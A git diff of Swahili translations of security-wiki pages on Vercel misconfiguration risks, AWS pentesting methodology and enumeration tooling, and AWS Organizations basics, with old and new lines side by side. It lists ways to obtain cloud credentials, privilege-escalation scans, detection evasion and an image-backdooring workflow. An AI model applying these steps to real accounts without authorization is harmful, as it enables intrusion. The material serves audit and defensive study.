- **Privacy Violations:** Kufichuliwa kwa shughuli na data nyeti za watumiaji.
|
||||
- **Tampering with Logs:** Watu wabaya wanaweza kubadilisha au kufuta kumbukumbu ili kuficha nyayo zao.
|
||||
- **SAML Single Sign-On:** Inaruhusu kubadilisha uthibitisho wa SAML na usawazishaji wa directory kwa timu yako, kuruhusu uunganisho na Mtoaji wa Kitambulisho (IdP) kwa uthibitisho wa kati na usimamizi wa watumiaji.
|
||||
- **Misconfiguration:** Mshambuliaji anaweza kuingiza milango ya nyuma kwenye mipangilio ya Timu akipanga vigezo vya SAML kama Entity ID, SSO URL, au alama za cheti.
|
||||
- **SAML Single Sign-On:** Inaruhusu kubadilisha uthibitishaji wa SAML na usawazishaji wa saraka kwa timu yako, kuruhusu uunganisho na Mtoaji wa Kitambulisho (IdP) kwa uthibitishaji wa kati na usimamizi wa watumiaji.
|
||||
- **Misconfiguration:** Mshambuliaji anaweza kuingiza milango ya nyuma kwenye mipangilio ya timu kwa kuweka vigezo vya SAML kama Entity ID, SSO URL, au alama za vidhibitisho.
|
||||
- **Risk:** Kudumisha kudumu
|
||||
- **IP Address Visibility:** Kudhibiti ikiwa anwani za IP, ambazo zinaweza kuzingatiwa kama taarifa binafsi chini ya sheria fulani za ulinzi wa data, zinaonyeshwa katika maswali ya Ufuatiliaji na Log Drains.
|
||||
- **Misconfiguration:** Kuacha kuonyesha anwani za IP bila sababu.
|
||||
- **Misconfiguration:** Kuacha kuonekana kwa anwani za IP bila sababu.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Kukosa kufuata kanuni za ulinzi wa data kama GDPR.
|
||||
- **Privacy Violations:** Kutokufuata kanuni za ulinzi wa data kama GDPR.
|
||||
- **Legal Repercussions:** Uwezekano wa faini na adhabu kwa kushughulikia data binafsi vibaya.
|
||||
- **IP Blocking:** Inaruhusu mipangilio ya anwani za IP na anuwai za CIDR ambazo Vercel inapaswa kuzuia maombi kutoka. Maombi yaliyozuiwa hayachangii bili yako.
|
||||
- **IP Blocking:** Inaruhusu mipangilio ya anwani za IP na anuwai za CIDR ambazo Vercel inapaswa kuzuia maombi kutoka. Maombi yaliyokatazwa hayachangii bili yako.
|
||||
- **Misconfiguration:** Inaweza kutumiwa vibaya na mshambuliaji kuruhusu trafiki ya uhalifu au kuzuia trafiki halali.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Kuzuia ufikiaji kwa watumiaji halali au washirika.
|
||||
@@ -384,7 +384,7 @@ Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu.
|
||||
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Secure Compute** inaruhusu uhusiano salama, wa faragha kati ya Vercel Functions na mazingira ya nyuma (kwa mfano, databases) kwa kuanzisha mitandao iliyotengwa yenye anwani za IP maalum. Hii inondoa haja ya kuonyesha huduma za nyuma hadharani, kuimarisha usalama, kufuata sheria, na faragha.
|
||||
**Vercel Secure Compute** inaruhusu uhusiano salama, wa faragha kati ya Vercel Functions na mazingira ya nyuma (kwa mfano, databases) kwa kuanzisha mitandao iliyotengwa yenye anwani za IP maalum. Hii inondoa haja ya kufichua huduma za nyuma hadharani, kuimarisha usalama, kufuata sheria, na faragha.
|
||||
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
|
||||
@@ -393,30 +393,30 @@ Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu.
|
||||
- **Risk:** Kuongezeka kwa ucheleweshaji, matatizo ya kufuata makazi ya data, na utendaji mbovu.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Kuchagua blocks za CIDR zinazovutana na VPC zilizopo au mitandao mingine.
|
||||
- **Risk:** Migogoro ya mtandao inayopelekea kuunganishwa kwa kushindwa, ufikiaji usioidhinishwa, au kuvuja kwa data kati ya mitandao.
|
||||
- **Risk:** Migogoro ya mtandao inayopelekea uhusiano kushindwa, ufikiaji usioidhinishwa, au uvujaji wa data kati ya mitandao.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Kuweka vibaya VPC peering (kwa mfano, IDs za VPC zisizo sahihi, masasisho yasiyokamilika ya jedwali la njia).
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa miundombinu ya nyuma, kuunganishwa kwa salama kushindwa, na uwezekano wa uvunjaji wa data.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa miundombinu ya nyuma, uhusiano salama kushindwa, na uwezekano wa uvunjaji wa data.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Kuweka miradi mingi kwenye mtandao mmoja wa Secure Compute bila kutengwa ipasavyo.
|
||||
- **Risk:** Kuongezeka kwa kufichuliwa kwa IP kunaongeza uso wa shambulio, na kuweza kuruhusu miradi iliyoharibiwa kuathiri nyingine.
|
||||
- **Misconfiguration:** Kutoa miradi mingi kwa mtandao mmoja wa Secure Compute bila kutengwa ipasavyo.
|
||||
- **Risk:** Kufichuliwa kwa IP iliyoshirikiwa kunaongeza uso wa shambulio, na kuweza kuruhusu miradi iliyoharibiwa kuathiri mingine.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Kukosa kusimamia au kubadilisha anwani za IP maalum ipasavyo.
|
||||
- **Risk:** IP spoofing, udhaifu wa ufuatiliaji, na uwezekano wa kuorodheshwa kama mbaya ikiwa IP zitahusishwa na shughuli za uhalifu.
|
||||
- **Risk:** IP spoofing, udhaifu wa kufuatilia, na uwezekano wa kuorodheshwa kama IP ikiwa inahusishwa na shughuli za uhalifu.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Kuongeza vyombo vya kujenga kwenye mtandao wa Secure Compute wakati ufikiaji wa nyuma hauhitajiki wakati wa kujenga.
|
||||
- **Risk:** Kuongezeka kwa uso wa shambulio, ucheleweshaji wa ugawaji, na matumizi yasiyo ya lazima ya rasilimali za mtandao.
|
||||
- **Risk:** Kuongeza uso wa shambulio, kuchelewesha ugawaji, na matumizi yasiyo ya lazima ya rasilimali za mtandao.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Kuonyesha au kushughulikia vibaya siri zinazotumika kupita ulinzi wa kutekeleza.
|
||||
- **Misconfiguration:** Kufichua au kushughulikia vibaya siri zinazotumika kupita ulinzi wa kutekeleza.
|
||||
- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza kulindwa, kuruhusu wavamizi kubadilisha au kutekeleza msimbo mbaya.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Kukosa kuweka maeneo ya failover yasiyo ya msingi au kuweka vibaya mipangilio ya failover.
|
||||
- **Misconfiguration:** Kutokuweka maeneo ya failover yasiyo ya msingi au kuweka vibaya mipangilio ya failover.
|
||||
- **Risk:** Kukosekana kwa huduma wakati wa kutofaulu kwa eneo la msingi, kupelekea kupungua kwa upatikanaji na uwezekano wa kutokuelewana kwa data.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Kujaribu kuanzisha uhusiano zaidi wa VPC peering kuliko kiwango kinachoruhusiwa (kwa mfano, kupita uhusiano 50).
|
||||
- **Risk:** Kukosa kuunganishwa kwa huduma muhimu za nyuma kwa usalama, kupelekea kushindwa kwa kutekeleza na usumbufu wa operesheni.
|
||||
- **Risk:** Kutokuweza kuunganisha huduma muhimu za nyuma kwa usalama, kupelekea kushindwa kwa kutekeleza na usumbufu wa operesheni.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Sheria dhaifu za moto, kukosa usimbuaji, au kutenganisha mtandao vibaya ndani ya mtandao wa Secure Compute.
|
||||
- **Misconfiguration:** Sheria dhaifu za firewall, ukosefu wa usimbuaji, au kutengwa kwa mtandao kwa njia isiyo sahihi ndani ya mtandao wa Secure Compute.
|
||||
- **Risk:** Kukamatwa kwa data, ufikiaji usioidhinishwa wa huduma za nyuma, na kuongezeka kwa udhaifu wa mashambulizi.
|
||||
|
||||
---
|
||||
@@ -428,8 +428,8 @@ Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu.
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Kuongeza alama ya `NEXT_PUBLIC_` kwa vigezo nyeti, na kuifanya ipatikane upande wa mteja.
|
||||
- **Risk:** Kuonyeshwa kwa funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data.
|
||||
- **Misconfiguration:** Kuongeza awali kwa vigezo nyeti kwa `NEXT_PUBLIC_`, na kuifanya iweze kupatikana upande wa mteja.
|
||||
- **Risk:** Kufichua funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** Ikiwa imezimwa (kawaida) inawezekana kusoma thamani za siri zilizozalishwa.
|
||||
- **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti.
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Kabla ya kuanza pentesting** mazingira ya **AWS**, kuna mambo machache **muhimu unahitaji kujua** kuhusu jinsi AWS inavyofanya kazi ili kukusaidia kuelewa unachohitaji kufanya, jinsi ya kupata makosa ya usanidi na jinsi ya kuyatumia.
|
||||
**Kabla ya kuanza pentesting** katika **AWS** mazingira kuna mambo machache **muhimu unahitaji kujua** kuhusu jinsi AWS inavyofanya kazi ili kukusaidia kuelewa unachohitaji kufanya, jinsi ya kupata makosa ya usanidi na jinsi ya kuyatumia.
|
||||
|
||||
Mifano kama vile hiyerarhya ya shirika, IAM na dhana nyingine za msingi zinaelezwa katika:
|
||||
|
||||
@@ -29,13 +29,13 @@ Tools to simulate attacks:
|
||||
|
||||
## AWS Pentester/Red Team Methodology
|
||||
|
||||
Ili kukagua mazingira ya AWS, ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinacho **onyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za AWS na **huduma za nje** zinavyounganishwa.
|
||||
Ili kukagua mazingira ya AWS ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinacho **onyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za AWS na **huduma za nje** zinavyounganishwa.
|
||||
|
||||
Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya AWS** ni kufanikiwa kupata **akili**. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
|
||||
Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya AWS** ni kufanikiwa kupata **akidi** fulani. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
|
||||
|
||||
- **Mvuzi** katika github (au sawa) - OSINT
|
||||
- **Mvuja** katika github (au sawa) - OSINT
|
||||
- **Uhandisi** wa Kijamii
|
||||
- **Tena** ya nywila (mvuzi wa nywila)
|
||||
- **Tena** matumizi ya nywila (mvuja za nywila)
|
||||
- Uhalifu katika Programu za AWS-Zilizohifadhiwa
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint
|
||||
- **Usomaji wa Faili za Mitaa**
|
||||
@@ -51,14 +51,14 @@ Au kwa **kuathiri huduma isiyo na uthibitisho** iliyonyeshwa:
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Au ikiwa unafanya **kaguzi** unaweza tu **kuomba akili** na hizi nafasi:
|
||||
Au ikiwa unafanya **kaguzi** unaweza tu **kuomba akidi** na hizi nafasi:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Baada ya kufanikiwa kupata akili, unahitaji kujua **ni nani mwenye akili hizo**, na **nini wana ufikiaji wa**, hivyo unahitaji kufanya uainishaji wa msingi:
|
||||
> Baada ya kufanikiwa kupata akidi, unahitaji kujua **ni nani mwenye akidi hizo**, na **nini wana ufikiaji wa**, hivyo unahitaji kufanya uainishaji wa msingi:
|
||||
|
||||
## Basic Enumeration
|
||||
|
||||
@@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
Moja ya mambo ya kwanza unahitaji kujua ni wewe ni nani (katika akaunti gani ulipo na habari nyingine kuhusu mazingira ya AWS):
|
||||
Moja ya mambo ya kwanza unahitaji kujua ni wewe ni nani (katika akaunti gani uko na habari nyingine kuhusu mazingira ya AWS):
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -100,7 +100,7 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
### IAM Enumeration
|
||||
|
||||
Ikiwa una ruhusa za kutosha **kuangalia haki za kila chombo ndani ya akaunti ya AWS** itakusaidia kuelewa ni nini unaweza kufanya na vitambulisho vingine na jinsi ya **kuinua haki**.
|
||||
Ikiwa una ruhusa za kutosha **kuangalia haki za kila kitengo ndani ya akaunti ya AWS** itakusaidia kuelewa kile unachoweza kufanya na vitambulisho vingine na jinsi ya **kuinua haki**.
|
||||
|
||||
Ikiwa huna ruhusa za kutosha kuhesabu IAM, unaweza **kuiba kuzitafutia** ili kujua.\
|
||||
Angalia **jinsi ya kufanya hesabu na brute-forcing** katika:
|
||||
@@ -115,7 +115,7 @@ aws-services/aws-iam-enum.md
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msingi, hesabu** cheatsheets\*\*,\*\* jinsi ya **kuepuka kugundulika**, kupata **kuendelea**, na hila nyingine za **post-exploitation** kuhusu baadhi yao:
|
||||
AWS ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msingi, hesabu** cheatsheets\*\*,\*\* jinsi ya **kuepuka kugunduliwa**, kupata **kuendelea**, na hila nyingine za **post-exploitation** kuhusu baadhi yao:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
@@ -178,7 +178,7 @@ AWS_PROFILE=<profile> aws_recon \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ni **chombo cha multi-cloud kwa kupata Mali** (Majina ya Kikoa, Anwani za IP) kutoka kwa Watoa Huduma za Cloud.
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ni **chombo cha multi-cloud kwa kupata Mali** (Majina ya mwenyeji, Anwani za IP) kutoka kwa Watoa huduma wa Cloud.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper inakusaidia kuchambua mazingira yako ya Amazon Web Services (AWS). Sasa ina kazi nyingi zaidi, ikiwa ni pamoja na ukaguzi wa masuala ya usalama.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
@@ -233,7 +233,7 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika mtazamo wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j.
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika muonekano wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Inatumia python2) Hii ni zana inayojaribu **kuvumbua yote** [**rasilimali za AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) zilizoundwa katika akaunti.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Ni zana ya **kupata anwani zote za IP za umma** (zote IPv4/IPv6) zinazohusishwa na akaunti ya AWS.
|
||||
|
||||
@@ -255,7 +255,7 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ni script na maktaba ya kutambua hatari katika usanidi wa AWS Identity and Access Management (IAM) kwa akaunti ya AWS au shirika la AWS. Inatengeneza mfano wa Watumiaji wa IAM na Majukumu katika akaunti kama grafu iliyoelekezwa, ambayo inaruhusu ukaguzi wa **kuinua mamlaka** na njia mbadala ambazo mshambuliaji anaweza kuchukua ili kupata ufikiaji wa rasilimali au hatua katika AWS. Unaweza kuangalia **permissions used to find privesc** paths katika majina ya faili yanayomalizika na `_edges.py` katika [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ni script na maktaba ya kutambua hatari katika usanidi wa AWS Identity and Access Management (IAM) kwa akaunti ya AWS au shirika la AWS. Inatengeneza mfano wa Watumiaji na Majukumu tofauti ya IAM katika akaunti kama grafu iliyoelekezwa, ambayo inaruhusu ukaguzi wa **kuinua mamlaka** na njia mbadala ambazo mshambuliaji anaweza kuchukua ili kupata ufikiaji wa rasilimali au hatua katika AWS. Unaweza kuangalia **idhini zinazotumika kutafuta njia za privesc** katika majina ya faili yanayomalizika na `_edges.py` katika [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ni chombo cha Tathmini ya Usalama wa AWS IAM ambacho kinatambua ukiukaji wa haki ndogo na kuzalisha ripoti ya HTML iliyo na kipaumbele cha hatari.\
|
||||
Itakuonyesha wateja wanaoweza kuwa **na haki nyingi**, sera za inline na aws **na ni nani **wanachama wanaoingia** kwao. (Haki hizi hazichunguzwi tu kwa privesc bali pia aina nyingine za ruhusa za kuvutia, inapendekezwa kutumika).
|
||||
Itakuonyesha wateja wanaoweza kuwa **na haki nyingi**, sera za inline na aws **na ni **wakuu gani wana uf access** kwao. (Haki hizi hazichunguzwi tu kwa privesc bali pia aina nyingine za ruhusa za kuvutia, inapendekezwa kutumika).
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -290,20 +290,20 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack inakadiria akaunti za AWS kwa **udhaifu wa hijacking wa subdomain** kutokana na usanidi wa Route53 na CloudFront ambao haujashikamana.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Orodha ya ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack inakadiria akaunti za AWS kwa **udhaifu wa kuiba subdomain** kutokana na usanidi wa Route53 na CloudFront ambao haujashikamana.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Orodha ya ECR repos -> Pull ECR repo -> Backdoor hiyo -> Push picha iliyokuwa na backdoor
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ni chombo ambacho **kinatafuta** kupitia picha za umma za Elastic Block Storage (**EBS**) kwa siri ambazo zinaweza kuwa ziachwa kwa bahati mbaya.
|
||||
|
||||
### Audit
|
||||
### Ukaguzi
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit na Aqua ni mradi wa chanzo wazi ulioandaliwa kuruhusu kugundua **hatari za usalama katika akaunti za miundombinu ya wingu**, ikiwa ni pamoja na: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), na GitHub (Haifanyi utafutaji wa ShadowAdmins).
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit na Aqua ni mradi wa chanzo wazi ulioandaliwa kuruhusu kugundua **hatari za usalama katika akaunti za miundombinu ya wingu**, ikiwa ni pamoja na: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), na GitHub (Haichunguza ShadowAdmins).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ni chombo cha usalama cha Open Source kufanya tathmini za mbinu bora za usalama za AWS, ukaguzi, majibu ya matukio, ufuatiliaji endelevu, kuimarisha na maandalizi ya forensics.
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ni chombo cha usalama cha Open Source kufanya tathmini za mbinu bora za usalama za AWS, ukaguzi, majibu ya matukio, ufuatiliaji endelevu, kuimarisha na maandalizi ya uchunguzi.
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -330,12 +330,12 @@ scout --help
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (inatumia python2.7 na inaonekana haijatunzwa)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ni chombo chenye nguvu kwa AWS EC2 / S3 / CloudTrail / CloudWatch / KMS mbinu bora za kuimarisha (inaonekana haijatunzwa). Inakagua tu akauti zilizowekwa kwa chaguo-msingi ndani ya mfumo.
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ni chombo chenye nguvu kwa ajili ya AWS EC2 / S3 / CloudTrail / CloudWatch / KMS mbinu bora za kuimarisha (inaonekana haijatunzwa). Inakagua tu akreditif zilizowekwa kwa chaguo-msingi ndani ya mfumo.
|
||||
|
||||
### Ukaguzi wa Kudumu
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ni injini ya sheria kwa usimamizi wa akaunti na rasilimali za umma za wingu. Inawaruhusu watumiaji **kufafanua sera za kuwezesha miundombinu ya wingu inayosimamiwa vizuri**, ambayo ni salama na imeboreshwa kwa gharama. Inakusanya scripts nyingi za adhoc ambazo mashirika yana nazo kuwa chombo chepesi na chenye kubadilika, chenye vipimo na ripoti zilizounganishwa.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ni jukwaa la **ufuatiliaji wa kuendelea wa utii, ripoti za utii na automatisering ya usalama kwa wingu**. Katika PacBot, sera za usalama na utii zinawekwa kama msimbo. Rasilimali zote zinazogunduliwa na PacBot zinakaguliwa dhidi ya sera hizi ili kupima utii wa sera. Mfumo wa **auto-fix** wa PacBot unatoa uwezo wa kujibu moja kwa moja kwa ukiukaji wa sera kwa kuchukua hatua zilizowekwa awali.
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ni injini ya sheria za kusimamia akaunti na rasilimali za umma za wingu. Inawaruhusu watumiaji **kufafanua sera za kuwezesha miundombinu ya wingu inayosimamiwa vizuri**, ambayo ni salama na imeboreshwa kwa gharama. Inakusanya mengi ya skripti za adhoc ambazo mashirika yana nazo kuwa chombo chepesi na chenye kubadilika, chenye vipimo na ripoti zilizounganishwa.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ni jukwaa la **ufuatiliaji wa kuendelea wa ufuataji, ripoti za ufuataji na automatisering ya usalama kwa ajili ya wingu**. Katika PacBot, sera za usalama na ufuataji zinawekwa kama msimbo. Rasilimali zote zinazogunduliwa na PacBot zinakaguliwa dhidi ya sera hizi ili kupima ufuataji wa sera. Mfumo wa **auto-fix** wa PacBot unatoa uwezo wa kujibu kiotomatiki kwa ukiukaji wa sera kwa kuchukua hatua zilizowekwa awali.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ni mfumo wa uchambuzi wa data wa **wakati halisi** usio na seva ambao unakupa uwezo wa **kuingiza, kuchambua, na kutoa tahadhari** kuhusu data kutoka mazingira yoyote, **ukitumia vyanzo vya data na mantiki ya tahadhari unayofafanua**. Timu za usalama wa kompyuta zinatumia StreamAlert kuchanganua terabytes za data za kumbukumbu kila siku kwa ajili ya kugundua na kujibu matukio.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
@@ -357,7 +357,7 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
@@ -8,26 +8,26 @@
|
||||
|
||||
### Akaunti
|
||||
|
||||
Katika AWS kuna **akaunti ya mzizi,** ambayo ni **konteina ya mzazi kwa akaunti zote** za **shirika** lako. Hata hivyo, huwezi kutumia akaunti hiyo kupeleka rasilimali, unaweza kuunda **akaunti nyingine ili kutenganisha miundombinu tofauti za AWS** kati yao.
|
||||
Katika AWS kuna **akaunti ya mzizi,** ambayo ni **konteina mama kwa akaunti zote** za **shirika** lako. Hata hivyo, huwezi kutumia akaunti hiyo kupeleka rasilimali, unaweza kuunda **akaunti nyingine ili kutenganisha miundombinu tofauti za AWS** kati yao.
|
||||
|
||||
Hii ni ya kuvutia kutoka kwa mtazamo wa **usalama**, kwani **akaunti moja haitakuwa na uwezo wa kufikia rasilimali kutoka akaunti nyingine** (isipokuwa madaraja yameundwa mahsusi), hivyo unaweza kuunda mipaka kati ya matumizi.
|
||||
Hii ni ya kuvutia kutoka kwa mtazamo wa **usalama**, kwani **akaunti moja haitakuwa na uwezo wa kufikia rasilimali kutoka akaunti nyingine** (isipokuwa madaraja yameundwa mahsusi), hivyo unaweza kuunda mipaka kati ya uhamasishaji.
|
||||
|
||||
Kwa hiyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama.
|
||||
Kwa hivyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia kuhusu akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama.
|
||||
|
||||
- **Akaunti ya usimamizi (akaunti ya mzizi)** ndiyo akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo:
|
||||
- **Akaunti ya usimamizi (akaunti ya mzizi)** ni akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo:
|
||||
|
||||
- Kuunda akaunti katika shirika
|
||||
- Kualika akaunti nyingine zilizopo katika shirika
|
||||
- Kuondoa akaunti kutoka shirika
|
||||
- Kudhibiti mialiko
|
||||
- Kutumia sera kwa vitu (mizizi, OUs, au akaunti) ndani ya shirika
|
||||
- Kuwezesha ujumuishaji na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika.
|
||||
- Kusimamia mialiko
|
||||
- Kutumia sera kwa entiti (mizizi, OUs, au akaunti) ndani ya shirika
|
||||
- Kuwezesha uunganisho na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika.
|
||||
- Inawezekana kuingia kama mtumiaji wa mzizi kwa kutumia barua pepe na nenosiri vilivyotumika kuunda akaunti hii ya mzizi/shirika.
|
||||
|
||||
Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipa** na inawajibika kwa kulipa malipo yote yanayokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika.
|
||||
Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipa** na inawajibika kwa kulipa ada zote zinazokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika.
|
||||
|
||||
- **Akaunti za wanachama** zinaunda akaunti zote nyingine katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee.
|
||||
- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hawawezi kudhibiti bili (lakini wanaweza kupewa ufikiaji wa hiyo).
|
||||
